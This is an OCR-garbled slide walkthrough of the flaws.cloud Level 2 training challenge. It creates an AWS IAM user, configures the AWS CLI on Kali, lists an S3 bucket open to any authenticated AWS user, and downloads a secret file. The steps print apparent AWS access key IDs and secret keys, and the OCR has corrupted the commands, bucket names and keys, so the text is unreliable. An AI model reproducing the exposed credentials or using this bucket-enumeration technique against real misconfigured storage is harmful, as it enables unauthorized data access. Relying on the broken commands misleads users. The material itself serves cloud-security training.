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ATTACK Scenario

v' Open permissions to S3 bucket for all authenticated AWS users.
v' A private bucket that should have been configured to allow only
authenticated access for may have been misconfigured

to allow from anyone

You need aws free account to exploit the vulnerability







Go to AWS IAM dashboard and click on users
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*» Add a new user with programmatic access

Step-2

AU UDST

Set user details

You can add multiple users at once with the same access type and permissions. Learn more

User name* ammar

€ Add another user

Select AWS access type

Select how these users will primarily access AWS. If you choose only programmatic access, it does NOT prevent users from accessing the col
an assumed role. Access keys and autogenerated passwords are provided in the last step. Learn more

Select AWS credential type* % Access key - Programmatic access
Enables an access Key ID and secret access key for the AWS API, CLI, SDK, and other
development tools.




Step-3

** Once a user is created, note down the credentials

B 441w € o4 1R 41

7 aws - Notepad - | x
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AUU Uusel

access key
AKIAVEZ2FRSQVAMIFFK4E

secret access key

Success ; ) .
Hw27yi2pbBmdGgay4L62e6]towlloghe ]VSpGNIM3|
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| & Download .csv |

User Access key ID Secret access key

» ©® ammar AKIAVZ2FRSQVAMIFFK46 £} Hw27yi2pbBm4Gaay4L62e6
jt5wUog6ejVapGNIMa Hide




Update your Kali Repositories and then download aws cli

Sudo apt install update

Sudo ap-get install awscli

( )—[~]
[i-ggﬂg apt-get install awscli
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done

The following additional packages will be installed:

groff groff-base imagemagick imagemagick-6.q16 libnetpbmll netpbm psutils python3-botocore
python3-jmespath python3-rsa python3-s3transfer

Suggested packages:
imagemagick-doc autotrace cups-bsd | 1pr | lprng enscript ffmpeg gimp gnuplot grads hp2xx html2ps

libwmf-bin mplayer povray radiance transfig ufraw-batch




Now configure the profile on aws cli with the keys from the
account

- configure profile ammar
AWS Access Key ID [None]: AKIAVZ2FRSQV4MIFFK46

AWS Secret Access Key [None]: Hw27yi2pbBm4Gqgay4L62e6jt5wlog6cjV8pGNIM3
Default region name [None]:

Default output format [None]:
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List the content of the S3 bucket with your profile

aws s3 --profile ammar Is s3://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud

s3 .:_'_.- ammar ls s3://level2-c8b217a33fcf1f839f6f1f73a00a%ae7.flaws.cloud/

2017-02-26 :02: 80751 everyone.png
2017-03-02 147 1433 hintl.html
2017-02-26 104 1035 hint2.html
2017-02-26 102: 2786 index.html
2017-02-26 :02: 26 robots.txt
2017-02-26 102 1051 secret-e4443fc.html




Now similarly as in task 1, download the secret file

)file ammar cp s3://level2-c8b217a33fcf1f839f6f1f73a00a%ae7.flaws.cloud/secret-e4443fc.html .

download: s3://level2-c8b217a33fcf1f839f6f1f73a0@a9ae?.flaws.cloud/secret-e4443fc.html to ./secret-e4443fc.htm
i
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